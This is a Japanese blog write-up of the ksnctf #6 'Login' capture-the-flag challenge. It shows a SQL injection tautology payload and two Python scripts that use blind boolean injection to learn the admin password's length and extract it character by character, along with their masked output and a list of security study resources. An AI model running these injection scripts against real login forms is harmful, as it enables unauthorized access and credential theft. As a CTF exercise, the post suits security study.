ksnctf #6 “Login”をPythonで解く
Problem
2つのURLが与えられており、そこからFLAG_??????を得ればよい。
http://ctfq.u1tramarine.blue/q6/
https://ctfq.u1tramarine.blue/q6/
Solution
2つのURLは似ているがhttpとhttpsが違う。
上のURLに適当にログインしてみようとしたが失敗する。
パケットをWiresharkでとりあえずパケットキャプチャしてみたが特に異常なし。
次にSQLインジェクションを試してみる。
Passのところに‘ or 1 = 1 —を入れて送信してみると
成功した。しかし、Flagはadminのパスワードらしい。
次にPassのところに‘ or (SELECT length(pass) FROM user WHERE id = ‘admin’) > 10 —を入力してみる。
これはIDがadminのPassの文字数が10より大きいかを調べている。今回の場合PASSは10文字より多いので先ほどのCongratulationsの画面が表示される。1つずつ増やして調べるのはめんどくさいのでPythonで自動化する。
import requests
def main():
pass_length_counter()
# Passの文字数を調べる。
def pass_length_counter():
url = 'http://ctfq.u1tramarine.blue/q6/'
# Passの文字数
length = 5
while True:
length += 1
sql = f"' or (SELECT length(pass) FROM user WHERE id = 'admin') = {length} --"
payload = {'id' : 'admin', 'pass' : sql}
send = requests.post(url, data = payload)
# 表示されたテキストにCongratulationsが含まれていたらその時のlengthを出力
if "Congratulations" in send.text:
print(f"Passの文字数は{length}")
break
if __name__ == '__main__':
main()
これを実行すると、
% python lenght_sql_injection.py
Passの文字数は21
Flagは21文字ということが分かった。Flagの最初はFLAG_なので残り16文字を考えればよい。
文字数が分かったので、次は地道に1文字目から調べていく。これは手動ではできないのでPythonでまた自動化する。
import requests
def main():
pass_cracker()
# 21文字(残り16文字)のパスワードを調べる。
def pass_cracker():
url = 'http://ctfq.u1tramarine.blue/q6/'
# Passの文字数
length = 5
password = "FLAG_"
while length <= 21:
length += 1
for char_num in range(48, 123):
char = chr(char_num)
sql = f"' or (SELECT SUBSTR(pass, {length}, 1) FROM user WHERE id = 'admin') = '{char}' --"
payload = {'id' : 'admin', 'pass' : sql}
send = requests.post(url, data = payload)
if "Congratulations" in send.text:
print(f"Passの{length}番目の文字は{char}")
password += char
break
print(f"adminのPassは{password}")
if __name__ == '__main__':
main()
これを実行すると
% python pass_sql_injection.py
Passの6番目の文字は*
Passの7番目の文字は*
Passの8番目の文字は*
Passの9番目の文字は*
Passの10番目の文字は*
Passの11番目の文字は*
Passの12番目の文字は*
Passの13番目の文字は*
Passの14番目の文字は*
Passの15番目の文字は*
Passの16番目の文字は*
Passの17番目の文字は*
Passの18番目の文字は*
Passの19番目の文字は*
Passの20番目の文字は*
Passの21番目の文字は*
adminのPassはFLAG_****************
これでFlagが手に入りました!!
CTF, セキュリティの参考資料
Udemy
個人的にUdemyが動画で分かりやすいし、値段も安いのでおすすめです。
実践的なものが特に役立ちます。
ホワイトハッカー養成講座(ハッキングツール、Webアプリ攻略、不正侵入検知)
ホワイトハッカー養成講座 (インシデントハンドリング&Windowsアタック編)
書籍
- セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
- セキュリティコンテストのためのCTF問題集
- デバッガによるx86プログラム解析入門
- リバースエンジニアリングバイブル
- 大熱血アセンブラ入門
- 楽しいバイナリの歩き方
- Reverse Engineering for Beginners
- HACKING: 美しき策謀
- 秘密の国のアリス
- 暗号解読
- 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版
コメント